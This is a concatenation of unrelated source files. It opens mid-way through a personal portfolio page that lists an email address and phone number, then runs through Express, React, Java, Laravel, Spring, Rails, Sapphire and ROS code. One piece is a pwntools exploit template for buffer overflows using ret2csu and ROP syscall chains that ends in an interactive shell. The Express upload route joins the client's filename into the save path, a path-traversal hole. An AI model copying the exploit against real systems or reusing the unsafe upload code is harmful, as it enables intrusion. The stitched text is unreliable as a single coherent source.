data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-card"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/tabla1.jpg" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Card 3</h4> <p>Card</p> <div class="portfolio-links"> <a href="assets/img/portfolio/tabla1.jpg" data-gall="portfolioGallery" class="venobox" title="Card 3"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-web"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/tabla3.jpg" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Web 3</h4> <p>Web</p> <div class="portfolio-links"> <a href="assets/img/portfolio/tabla3.jpg" data-gall="portfolioGallery" class="venobox" title="Web 3"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> </div> </div> </section><!-- End Portfolio Section --> <hr> <!-- ======= Contact Section ======= --> <section id="contact" class="contact"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>Contact</span> <h2>Contact</h2> <p>Any Questions/suggestions? contact me below!!</p> </div> <div class="row mt-1"> <div class="col-lg-4"> <div class="info"> <div class="address"> <i class="icofont-google-map"></i> <h4>Location:</h4> <p>Sahakarnagar number 1 , Pune , Maharashatra , India</p> </div> <div class="email"> <i class="icofont-envelope"></i> <h4>Email:</h4> <p>swaroopkorde@gmail.com</p> </div> <div class="phone"> <i class="icofont-phone"></i> <h4>Call:</h4> <p>+91 8983600137</p> </div> </div> </div> <div class="col-lg-8 mt-5 mt-lg-0"> <form name="contact" method="POST" data-netlify="true"> <div class="form-row"> <div class="col-md-6 form-group"> <input type="text" name="name" class="form-control" id="name" placeholder="Your Name" data-rule="minlen:4" data-msg="Please enter at least 4 chars" /> <div class="validate"></div> </div> <div class="col-md-6 form-group"> <input type="email" class="form-control" name="email" id="email" placeholder="Your Email" data-rule="email" data-msg="Please enter a valid email" /> <div class="validate"></div> </div> </div> <div class="form-group"> <input type="text" class="form-control" name="subject" id="subject" placeholder="Subject" data-rule="minlen:4" data-msg="Please enter at least 8 chars of subject" /> <div class="validate"></div> </div> <div class="form-group"> <textarea class="form-control" name="message" rows="5" data-rule="required" data-msg="Please write something for us" placeholder="Message"></textarea> <!--<div class="validate"></div> <div class="feild"> <div data-netlify-recaptcha="true"></div> </div> </div>--> <!--<div class="mb-3"> <div class="loading">Loading</div> <div class="error-message"></div> <div class="sent-message">Your message has been sent. Thank you!</div> </div>--> <div class="text-center"><button type="submit" class="btn btn-primary">Send Message</button></div> </form> </div> </div> </div> </section><!-- End Contact Section --> </main><!-- End #main --> <!-- ======= Footer ======= --> <footer id="footer"> <div class="container"> <h3>Swaroop Korde</h3> <p>Never give up!</p> <div class="social-links"> <a href="https://twitter.com/KordeSwaroop" class="twitter"><i class="bx bxl-twitter"></i></a> <a href="https://www.facebook.com/people/Swaroop-Korde/100009398646598" class="facebook"><i class="bx bxl-facebook"></i></a> <a href="https://www.instagram.com/swaroop_ck/" class="instagram"><i class="bx bxl-instagram"></i></a> <a href="https://www.github.com/SwaroopCK/" class="google-plus"><i class="bx bxl-github"></i></a> <a href="https://www.linkedin.com/in/swaroop-korde-2559801aa " class="linkedin"><i class="bx bxl-linkedin"></i></a> </div> <div class="copyright"> &copy; Copyright <strong><span>SwaroopKorde</span></strong>. All Rights Reserved </div> <div class="credits"> <!-- All the links in the footer should remain intact. --> <!-- You can delete the links only if you purchased the pro version. --> <!-- Licensing information: [license-url] --> <!-- Purchase the pro version with working PHP/AJAX contact form: https://bootstrapmade.com/free-html-bootstrap-template-my-resume/ --> Designed by <a href="https://bootstrapmade.com/">BootstrapMade</a> </div> </div> </footer><!-- End Footer --> <a href="#" class="back-to-top"><i class="bx bx-up-arrow-alt"></i></a> <div id="preloader"></div> <!-- Vendor JS Files --> <script src="assets/vendor/jquery/jquery.min.js"></script> <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script> <script src="assets/vendor/php-email-form/validate.js"></script> <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script> <script src="assets/vendor/counterup/counterup.min.js"></script> <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script> <script src="assets/vendor/venobox/venobox.min.js"></script> <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script> <script src="assets/vendor/typed.js/typed.min.js"></script> <script src="assets/vendor/aos/aos.js"></script> <!-- Template Main JS File --> <script src="assets/js/main.js"></script> </body> </html>
const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload()); app.post('/upload', (req, res) => { if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send('没有文件被上传。'); } // 这里 'files' 是 HTML 表单中文件输入字段的名称 let uploadedFiles = req.files.files; // 检查是否是多文件上传 if (!Array.isArray(uploadedFiles)) { uploadedFiles = [uploadedFiles]; } uploadedFiles.forEach(file => { console.log("接收到的文件名: ", file.name); // 打印文件名 // 解码文件名 const buffer = Buffer.from(file.name, 'binary'); const decodedFileName = buffer.toString('utf-8'); console.log("尝试解码的文件名: ", decodedFileName); // 使用 file.mv() 来移动每个文件到服务器的指定位置 file.mv('/recv/' + decodedFileName, function (err) { if (err) { return res.status(500).send(err); } }); }); // 在发送响应之前设置响应头 res.setHeader('Content-Type', 'text/plain; charset=utf-8'); res.send('所有文件上传成功!'); }); app.listen(3000, () => { console.log('服务器运行在 http://localhost:3000'); });
import type { UseHandleError, ErrorParams } from '~/composables/useHandleError/types'; const defaultError: ErrorParams = { status: 500, message: 'An error occurred', statusMessage: 'An error occurred', }; /** * @description Composable for handling errors. * @param error {@link ErrorParams} * @returns Throws an error if there is one. * @example * const { data, error } = await fetch(data); * useHandleError(error.value); */ export const useHandleError: UseHandleError = (error) => { if (error) { throw createError({ statusCode: error.status || defaultError.status, message: error.message ?? defaultError.message, statusMessage: error.message ?? defaultError.statusMessage, fatal: true, }); } };
import { Table, Container, Button } from 'react-bootstrap' import CarsApi from './api/CarsApi' import { useEffect, useState } from 'react' import CreateModal from './components/CreateModal' import UpdateModal from './components/UpdateModal' function App() { const [Cars, setCars] = useState() const [isCreateModalOpen, setIsCreateModalOpen] = useState(false) const [isUpdateModalOpen, setIsUpdateModalOpen] = useState(false) const [selectedCars, setSelectedCars] = useState() const handleCloseCreateModal = () => setIsCreateModalOpen(false); const handleShowCreateModal = () => setIsCreateModalOpen(true); const handleCloseUpdateModal = () => setIsUpdateModalOpen(false); const handleShowUpdateModal = () => setIsUpdateModalOpen(true); useEffect(() => { async function getData() { await CarsApi().getCars().then(data => { return data.json() }) .then(data => { setCars(data) }) } getData() }, []) async function createCars(event) { try { event.preventDefault() const req = event.currentTarget.elements await CarsApi().createCars( req.nome.value, Number(req.valor.value), Number(req.ano.value) ).then(data => { return data.json() }).then(res => { setCars([...Cars, { id: res.CarsId, nome: req.nome.value, valor: Number(req.valor.value), ano: Number(req.ano.value) }]) setIsCreateModalOpen(false) }) } catch(err) { throw err } } async function deleteCars(CarsId) { try { await CarsApi().deleteCars(CarsId) const formattedCars = Cars.filter(cont => { if(cont.id !== CarsId){ return cont } }) setCars(formattedCars) } catch(err) { throw err } } async function updateCars(event) { try { event.preventDefault() const req = event.currentTarget.elements await CarsApi().updateCars( selectedCars.id, req.nome.value, Number(req.valor.value), Number(req.ano.value) ) const formattedCars = Cars.map(cont => { if(cont.id === selectedCars.id) { return { id: selectedCars.id, nome: req.nome.value, valor: Number(req.valor.value), ano: Number(req.ano.value) } } return cont }) setCars(formattedCars) setIsUpdateModalOpen(false) } catch(err) { throw err } } return ( <> <Container className=" d-flex flex-column align-items-start justify-content-center h-100 w-100 " > <Button className="mb-2" onClick={handleShowCreateModal} variant='primary'> Inserir Carro </Button> <Table striped bordered hover> <thead> <tr> <th>Nome</th> <th>Valor</th> <th>Ano</th> <th>Ações</th> </tr> </thead> <tbody> {Cars && Cars.map(cont => ( <tr key={cont.id}> <td>{cont.nome}</td> <td>{cont.valor}</td> <td>{cont.ano}</td> <td> <Button onClick={() => deleteCars(cont.id)} variant='danger'> Excluir </Button> <Button onClick={() => { handleShowUpdateModal() setSelectedCars(cont) }} variant='warning' className='m-1' > Atualizar </Button> </td> </tr> ))} </tbody> </Table> </Container> <CreateModal isModalOpen={isCreateModalOpen} handleClose={handleCloseCreateModal} createCars={createCars} /> {selectedCars && ( <UpdateModal isModalOpen={isUpdateModalOpen} handleClose={handleCloseUpdateModal} updateCars={updateCars} Cars={selectedCars} /> )} </> ) } export default App
package thread; public class ThreadEx16 { public static void main(String[] args) { RunImplEx16 r1 = new RunImplEx16(); RunImplEx16 r2 = new RunImplEx16(); RunImplEx16 r3 = new RunImplEx16(); Thread t1 = new Thread(r1); Thread t2 = new Thread(r2); Thread t3 = new Thread(r3); t1.start(); t2.start(); t3.start(); try { Thread.sleep(2000); r1.suspend(); Thread.sleep(2000); r2.suspend(); Thread.sleep(3000); r1.resume(); Thread.sleep(3000); r1.stop(); r2.stop(); Thread.sleep(2000); r3.stop(); } catch (InterruptedException e) {} } } class RunImplEx16 implements Runnable { volatile boolean suspended = false; volatile boolean stopped = false; @Override public void run() { while (!stopped) { while (!suspended) { System.out.println(Thread.currentThread().getName()); try { Thread.sleep(1000); } catch (InterruptedException e) {} } } System.out.println(Thread.currentThread().getName()+"- 종료"); } public void suspend() {suspended = true;} public void resume() {suspended = false;} public void stop() {stopped = true;} }
from pwn import * HOST = "" PORT = "" # Allows you to switch between local/GDB/remote from terminal def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(HOST, PORT, *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) # Find offset to EIP/RIP for buffer overflows def find_ip(payload): # Launch process and send payload p = process(exe, level="warn") p.sendlineafter(b">", payload) # Wait for the process to crash p.wait() # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 warn("located EIP/RIP offset at {a}".format(a=ip_offset)) return ip_offset def syscall(rax, rdi, rsi, rdx): payload = p64(pop_rax) + p64(rax) payload += p64(pop_rdi) + p64(rdi) payload += p64(pop_rsi) + p64(rsi) payload += p64(pop_rdx) + p64(rdx) + p64(0) payload += p64(syscall_ret) return payload def ret2csu( call_func, rdi=0, rsi=0, rdx=0, rbx=0, rbp=1, r12=0, r13=0, r14=0, r15=0, ): # First __libc_csu_init POPPER rbx, rbp, r12, r13, r14, r15 payload = p64(FIRST_POPPER) payload += p64(rbx) # Fill rbx with 0 payload += p64(rbp) # Set RBP to 1 to pass CMP payload += p64(call_func) # call _init to padding the stack payload += p64(rdi) # RDI payload += p64(rsi) # RSI payload += p64(rdx) # RDX # Second __libc_csu_init MOV rdx, rsi, edi payload += p64(SECOND_POPPER) payload += p64(0) # Padding rsp+8 payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) return payload def csu_arm(w0=0, x1=0, x2=0, call=0, x30=0x12345678, x19_a=0, x20_a=0): R = ROP(exe) R.csu1() R.raw(b"A" * 8 * 2) R.raw( fit( 0x29, # x29 exe.sym["csu2"], # x30 0, # x19 -> x19+1 1, # x20 call, # x21 w0, # x22 -> w0 x1, # x23 -> x1 x2, # x24 -> x2 ) ) R.raw( fit( 0x29, # x29 x30, # x30 0x19, # x19 -> x19+1 0x20, # x20 0x21, # x21 0x22, # x22 -> w0 0x23, # x23 -> x1 0x24, # x24 -> x2 ) ) return R.chain() # Specify GDB script here (breakpoints etc) gdbscript = """ init-pwndbg continue """.format( **locals() ) # Binary filename exe = "./vuln" # This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=False) # Change logging level to help with debugging (error/warning/info/debug) context.terminal = "tmux splitw -h".split(" ") context.log_level = "debug" # EXPLOIT GOES HERE # Lib-C library, can use pwninit/patchelf to patch binary # libc = ELF("./libc.so.6") # ld = ELF("./ld-2.27.so") # Pass in pattern_size, get back EIP/RIP offset offset = find_ip(cyclic(500)) # Start program io = start() # Build the payload payload = flat({offset: []}) # Send the payload io.sendlineafter(b">", payload) io.recvuntil(b"Thank you!") # Got Shell? io.interactive()
import { useEffect, useState } from 'react'; import { solG2 } from '@thehubbleproject/bls/dist/mcl'; import PaymentChannel, { Payment } from '../PaymentChannel'; import Transaction from '../components/Transaction'; import AppContext from '../AppContext'; import calculateSignaturesNeeded from '../utils/calculateSignaturesNeeded'; import { IERC20__factory } from '../ERC20/IERC20__factory'; import { AccountAPI } from '../account/AccountAPI'; import assert from '../utils/assert'; import LoadingTransaction from '../components/LoadingTransaction'; export default function Page() { const appContext = AppContext.use(); const [payment, setPayment] = useState<Payment | undefined>(); const [publicKeys, setPublicKeys] = useState<solG2[]>([]); const url = new URL(window.location.href); const id = url.searchParams.get('id'); useEffect(() => { const getPaymentData = async () => { if (!id) return; const channel = new PaymentChannel(id); const tempPayment = await channel.getPayment(); const signedTx = await channel.getSignedPayment(); setPublicKeys(signedTx.publicKeys); setPayment(tempPayment); }; getPaymentData(); }, []); const addSignature = async () => { if (!appContext || !payment || !id) return; const channel = new PaymentChannel(id); await appContext.addSignature(channel, payment); }; const userSigned = publicKeys.find( (pk) => pk.join('') === appContext?.signer.pubkey.join(''), ); const sendTransaction = async () => { const provider = appContext?.aaProvider; const signer = provider?.getSigner(); assert(id !== null); const channel = new PaymentChannel(id); const signedTx = await channel.getSignedPayment(); const accountApi = provider?.smartAccountAPI as AccountAPI; accountApi.setNextAggBlsSignature(signedTx.signature); if (!payment || !signer) return; const ERC20 = IERC20__factory.connect(payment.token, signer); const transferTx = await ERC20.transfer(payment.to, payment.amount); const reciept = await transferTx.wait(); console.log('reciept', reciept); }; if (id === null) return ( <div className="space-y-12"> <div className="border-b border-white/10 pb-12"> <h2 className="text-base font-semibold leading-7 text-white"> No transaction to sign! </h2> </div> </div> ); const sigsNeeded = payment && calculateSignaturesNeeded(payment); let sigsRemaining: number | undefined = undefined; if (sigsNeeded !== undefined) { sigsRemaining = sigsNeeded - publicKeys.length; } return ( <form> <div className="space-y-12"> <div className="border-b border-white/10 pb-12"> <h2 className="text-base font-semibold leading-7 text-white"> Sign Group Transaction </h2> <p className="mt-1 text-sm leading-6 text-gray-400 pb-6"> This transaction needs {sigsNeeded ?? '?'} signatures. </p> {(() => { if ( payment === undefined || sigsNeeded === undefined || sigsRemaining === undefined ) { return <LoadingTransaction />; } return ( <Transaction to={payment.to} token={payment.token} description={payment.description} amount={payment.amount} numSigned={publicKeys.length} sigsNeeded={sigsNeeded} /> ); })()} </div> </div> <div className="mt-6 flex items-center justify-end gap-x-6"> {userSigned && sigsRemaining !== undefined && sigsRemaining > 0 && ( <div>You have already signed!</div> )} {sigsRemaining === 0 && ( <button type="submit" onClick={(e) => { e.preventDefault(); sendTransaction(); }} className="rounded-md bg-green-500 px-3 py-2 text-sm font-semibold text-white shadow-sm hover:bg-green-600 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-green-500" > Send transaction </button> )} {sigsRemaining !== undefined && !userSigned && ( <button type="submit" disabled={!!userSigned} onClick={async (e) => { e.preventDefault(); await addSignature(); window.location.reload(); }} className="rounded-md bg-green-500 px-3 py-2 text-sm font-semibold text-white shadow-sm hover:bg-green-600 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-green-500" > Add signature </button> )} </div> </form> ); }
<?php namespace App\Http\Controllers; use App\Models\Tarea; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Log; class TareaController extends Controller { //método para mostras todas las tareas registradas public function index(Request $request, $columna = null, $orden = null) { try { $columna = $request->columna ?? 'id'; $orden = $request->orden ?? 'asc'; $tareas = Tarea::orderBy($columna, $orden)->paginate(5); return response()->json([ 'data' => $tareas, ], 200); } catch (\Throwable $th) { Log::error('Error función tarea.index: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } //método para registrar nueva tarea public function store(Request $request) { $rules = [ 'titulo' => 'required', 'descripcion' => 'required', ]; $ErrorMessages = [ 'titulo.required' => 'Estimado usuario, el titulo es requerido ', 'descripcion.required' => 'Estimado usuario, la descripcion es requerido ', ]; $validator = Validator::make($request->all(), $rules, $ErrorMessages); if ($validator->fails()) { return response()->json([ 'created' => false, 'errors' => $validator->errors() ], 400); } try { $tareas = Tarea::create($request->all()); return response()->json([ 'data' => $tareas, ], 200); } catch (\Throwable $th) { Log::error('Error función tarea.store: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } //método para consultar una tarea en especifico public function show($id) { try { $tarea = Tarea::where('id', $id)->first(); if ($tarea != null) { return response()->json([ 'data' => $tarea, ], 200); } else { return response()->json([ 'mensaje' => 'Estimado usuario, el usuario al que hace referencia no esta registrado.', ], 400); } } catch (\Throwable $th) { Log::error('Error función tarea.show: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } /* método para consultar una tarea en especifico para editar, este método podria ser reemplazado por el anterior, pero igual se creó para no crear confuciones e identificar mejor su funcionalidad. */ public function edit($id) { try { $tarea = Tarea::where('id', $id)->first(); if ($tarea != null) { return response()->json([ 'data' => $tarea, ], 200); } else { return response()->json([ 'mensaje' => 'Estimado usuario, el usuario al que hace referencia no esta registrado.', ], 400); } } catch (\Throwable $th) { Log::error('Error función tarea.edit: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } //método para actualizar una tarea public function update(Request $request, $id) { $rules = [ 'titulo' => 'required', 'descripcion' => 'required', ]; $ErrorMessages = [ 'titulo.required' => 'Estimado usuario, el titulo es requerido ', 'descripcion.required' => 'Estimado usuario, la descripcion es requerido ', ]; $validator = Validator::make($request->all(), $rules, $ErrorMessages); if ($validator->fails()) { return response()->json([ 'created' => false, 'errors' => $validator->errors() ], 400); } try { $tareas = Tarea::where('id', $id)->first(); if ($tareas != null) { $tareas->update($request->all()); return response()->json([ 'data' => $tareas, ], 200); } else { return response()->json([ 'mensaje' => 'Estimado usuario, el usuario al que hace referencia no esta registrado.', ], 400); } } catch (\Throwable $th) { Log::error('Error función tarea.update: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } //método para eliminar(fisicamente) una tarea en especifico. public function destroy($id) { try { $tareas = Tarea::where('id', $id)->first(); if ($tareas != null) { $tareas->delete(); return response()->json([ 'data' => $tareas, ], 200); } else { return response()->json([ 'mensaje' => 'Estimado usuario, el usuario al que hace referencia no esta registrado.', ], 400); } } catch (\Throwable $th) { Log::error('Error función tarea.destroy: ' . $th->getMessage()); Log::error('Archivo: ' . $th->getFile()); Log::error('Línea: ' . $th->getLine()); return response()->json([ 'mensaje' => 'Estimado usuario, en estos momentos el servidor esta fuera de servicio, por favor intente mas tarde.', ], 400); } } }
package com.example.demo.controller; import static com.example.demo.commons.librocontans.API_AUTORES; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.example.demo.entity.AutoresEntity; import com.example.demo.service.AutoresService; @RestController @RequestMapping(API_AUTORES) public class AutoresController { @Autowired private AutoresService autoresService; @GetMapping("/all") public List<AutoresEntity> listar() { return autoresService.readAll(); } @GetMapping("/{id_autor}") public ResponseEntity<AutoresEntity> listar2(@PathVariable("id_autor") long id_autor) { AutoresEntity prod = autoresService.read(id_autor); if (prod!=null) { return new ResponseEntity<>(prod, HttpStatus.OK); } else { return new ResponseEntity<>(HttpStatus.NOT_FOUND); } } @PostMapping("/agregar") public ResponseEntity<AutoresEntity> createTutorial(@RequestBody AutoresEntity p) { try { AutoresEntity prod = autoresService.create(new AutoresEntity(p.getId_autor(),p.getAutor(),p.getLibrosEntity())); return new ResponseEntity<>(prod, HttpStatus.CREATED); } catch (Exception e) { return new ResponseEntity<>(null, HttpStatus.INTERNAL_SERVER_ERROR); } } @PutMapping("/editar/{id_autor}") public ResponseEntity<AutoresEntity> updateTutorial(@PathVariable("id_autor") long id_autor, @RequestBody AutoresEntity p) { AutoresEntity post = autoresService.read(id_autor); if (post!=null) { post.setId_autor(p.getId_autor()); post.setAutor(p.getAutor()); post.setLibrosEntity(p.getLibrosEntity()); return new ResponseEntity<>(autoresService.create(post), HttpStatus.OK); } else { return new ResponseEntity<>(HttpStatus.NOT_FOUND); } } @DeleteMapping("/borrar/{id_autor}") public ResponseEntity<HttpStatus> deletePost(@PathVariable("id_autor") long id_autor) { try { autoresService.delete(id_autor); return new ResponseEntity<>(HttpStatus.NO_CONTENT); } catch (Exception e) { return new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); } } }
class UsersController < ApplicationController before_action :is_matching_login_user, only: [:edit, :update] def index @user = current_user @book = Book.new @users = User.all end def show @user = User.find(params[:id]) @book = Book.new @books = @user.books end def edit @user = current_user end def update @user = current_user if @user.update(user_params) flash[:notice] = "You have updated user successfully." redirect_to user_path(@user) else @users = User.all render :edit end end private def user_params params.require(:user).permit(:name, :introduction, :profile_image) end def is_matching_login_user user_id = params[:id].to_i login_user_id = current_user.id if user_id != login_user_id redirect_to user_path(login_user_id) end end end
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.InteractionHandlerFilters = exports.InteractionHandlerStore = void 0; const pieces_1 = require("@sapphire/pieces"); const result_1 = require("@sapphire/result"); const Events_1 = require("../types/Events"); const InteractionHandler_1 = require("./InteractionHandler"); class InteractionHandlerStore extends pieces_1.Store { constructor() { super(InteractionHandler_1.InteractionHandler, { name: 'interaction-handlers' }); } async run(interaction) { // Early-exit for optimization if (this.size === 0) return false; const promises = []; // Iterate through every registered handler for (const handler of this.values()) { const filter = exports.InteractionHandlerFilters.get(handler.interactionHandlerType); // If the filter is missing (we don't support it or someone didn't register it manually while waiting for us to implement it), // or it doesn't match the expected handler type, skip the handler if (!filter?.(interaction)) continue; // Get the result of the `parse` method in the handler const result = await (0, result_1.fromAsync)(() => handler.parse(interaction)); if ((0, result_1.isErr)(result)) { // If the `parse` method threw an error (spoiler: please don't), skip the handler this.container.client.emit(Events_1.Events.InteractionHandlerParseError, result.error, { interaction, handler }); continue; } const finalValue = result.value; // If the `parse` method returned a `Some` (whatever that `Some`'s value is, it should be handled) if ((0, result_1.isSome)(finalValue)) { // Schedule the run of the handler method const promise = (0, result_1.fromAsync)(() => handler.run(interaction, finalValue.value)).then((res) => { return (0, result_1.isErr)(res) ? (0, result_1.err)({ handler, error: res.error }) : res; }); promises.push(promise); } } // Yet another early exit if (promises.length === 0) return false; const results = await Promise.allSettled(promises); for (const result of results) { const res = result.value; if (!(0, result_1.isErr)(res)) continue; const value = res.error; this.container.client.emit(Events_1.Events.InteractionHandlerError, value.error, { interaction, handler: value.handler }); } return true; } } exports.InteractionHandlerStore = InteractionHandlerStore; exports.InteractionHandlerFilters = new Map([ ["BUTTON" /* InteractionHandlerTypes.Button */, (interaction) => interaction.isButton()], ["SELECT_MENU" /* InteractionHandlerTypes.SelectMenu */, (interaction) => interaction.isSelectMenu()], ["MODAL_SUBMIT" /* InteractionHandlerTypes.ModalSubmit */, (interaction) => interaction.isModalSubmit()], ["MESSAGE_COMPONENT" /* InteractionHandlerTypes.MessageComponent */, (interaction) => interaction.isMessageComponent()], ["AUTOCOMPLETE" /* InteractionHandlerTypes.Autocomplete */, (Interaction) => Interaction.isAutocomplete()] ]); //# sourceMappingURL=InteractionHandlerStore.js.map
#pragma once //防止重复引用造成二义性,类似#ifndef #include <ros/ros.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl/point_types.h> #include <pcl/conversions.h> #include <pcl_ros/transforms.h> #include <pcl/filters/extract_indices.h> #include <pcl/filters/passthrough.h> #include <pcl/filters/statistical_outlier_removal.h> #include <pcl/filters/voxel_grid.h> #include <pcl/features/normal_3d.h> // 法向量估计 #include <pcl/filters/extract_indices.h> // 索引提取 #include <pcl/kdtree/kdtree.h> #include <pcl/ModelCoefficients.h> #include <pcl/sample_consensus/method_types.h> //模型定义头文件 #include <pcl/sample_consensus/model_types.h> //随机参数估计方法头文件 #include <pcl/segmentation/sac_segmentation.h> // 基于采样一致性分割的类的头文件 #include <pcl/segmentation/extract_clusters.h> #include <sensor_msgs/PointCloud2.h> #define IN_door #ifdef OUT_door #define CLIP_HEIGHT 8 //截取掉高于雷达自身8米的点 #define MIN_DISTANCE 0.5 #define RADIAL_DIVIDER_ANGLE 0.18 #define SENSOR_HEIGHT 1.78 #endif #ifdef IN_door #define CLIP_HEIGHT 1.6 //截取掉高于雷达自身1.6米的点 #define MIN_DISTANCE 0.5 #define RADIAL_DIVIDER_ANGLE 0.199 #define SENSOR_HEIGHT 0.75 // 0.86 #endif #define concentric_divider_distance_ 0.01 //0.1 meters default #define min_height_threshold_ 0.05 #define local_max_slope_ 8 //max slope of the ground between points, degree #define general_max_slope_ 5 //max slope of the ground in entire point cloud, degree #define reclass_distance_threshold_ 0.2 #define PI 3.1415926 class PclTestCore { private: ros::Subscriber sub_point_cloud_; //接受话题 ros::Publisher pub_filtered_, pub_ground_, pub_no_ground_; //发布话题 struct PointXYZIRTColor { pcl::PointXYZI point; float radius; //cylindric coords on XY Plane float theta; //angle deg on XY plane size_t radial_div; //index of the radial divsion to which this point belongs to size_t concentric_div; //index of the concentric division to which this points belongs to size_t original_index; //index of this point in the source pointcloud }; typedef std::vector<PointXYZIRTColor> PointCloudXYZIRTColor; //std::vector 是封装动态数组的顺序容器 size_t radial_dividers_num_; size_t concentric_dividers_num_; void point_cb(const sensor_msgs::PointCloud2ConstPtr &in_cloud); void clip_above(double clip_height, const pcl::PointCloud<pcl::PointXYZI>::Ptr in, const pcl::PointCloud<pcl::PointXYZI>::Ptr out, bool PassThrough); void remove_close_pt(double min_distance, const pcl::PointCloud<pcl::PointXYZI>::Ptr in, const pcl::PointCloud<pcl::PointXYZI>::Ptr out); void remove_outlier(const pcl::PointCloud<pcl::PointXYZI>::Ptr in, const pcl::PointCloud<pcl::PointXYZI>::Ptr out); void voxel_grid_filer(pcl::PointCloud<pcl::PointXYZ>::Ptr in, pcl::PointCloud<pcl::PointXYZ>::Ptr out, double leaf_size); void XYZI_to_RTZColor(const pcl::PointCloud<pcl::PointXYZI>::Ptr in_cloud, PointCloudXYZIRTColor &out_organized_points, std::vector<pcl::PointIndices> &out_radial_divided_indices, std::vector<PointCloudXYZIRTColor> &out_radial_ordered_clouds); void classify_pc(std::vector<PointCloudXYZIRTColor> &in_radial_ordered_clouds, pcl::PointIndices &out_ground_indices, pcl::PointIndices &out_no_ground_indices); void remove_ground_RANSAC(const pcl::PointCloud<pcl::PointXYZI>::Ptr in, pcl::PointCloud<pcl::PointXYZI>::Ptr out_no_ground, pcl::PointCloud<pcl::PointXYZI>::Ptr out_ground, bool simplify); void remove_ground_designated(const pcl::PointCloud<pcl::PointXYZI>::Ptr in, pcl::PointCloud<pcl::PointXYZI>::Ptr out_no_ground, pcl::PointCloud<pcl::PointXYZI>::Ptr out_ground); void remove_ground_Ray(const pcl::PointCloud<pcl::PointXYZI>::Ptr in, pcl::PointCloud<pcl::PointXYZI>::Ptr out_no_ground, pcl::PointCloud<pcl::PointXYZI>::Ptr out_ground); void publish_cloud(const ros::Publisher &in_publisher, const pcl::PointCloud<pcl::PointXYZI>::Ptr in_cloud_to_publish_ptr, const std_msgs::Header &in_header); public: PclTestCore(ros::NodeHandle &nh); ~PclTestCore(); void Spin(); };
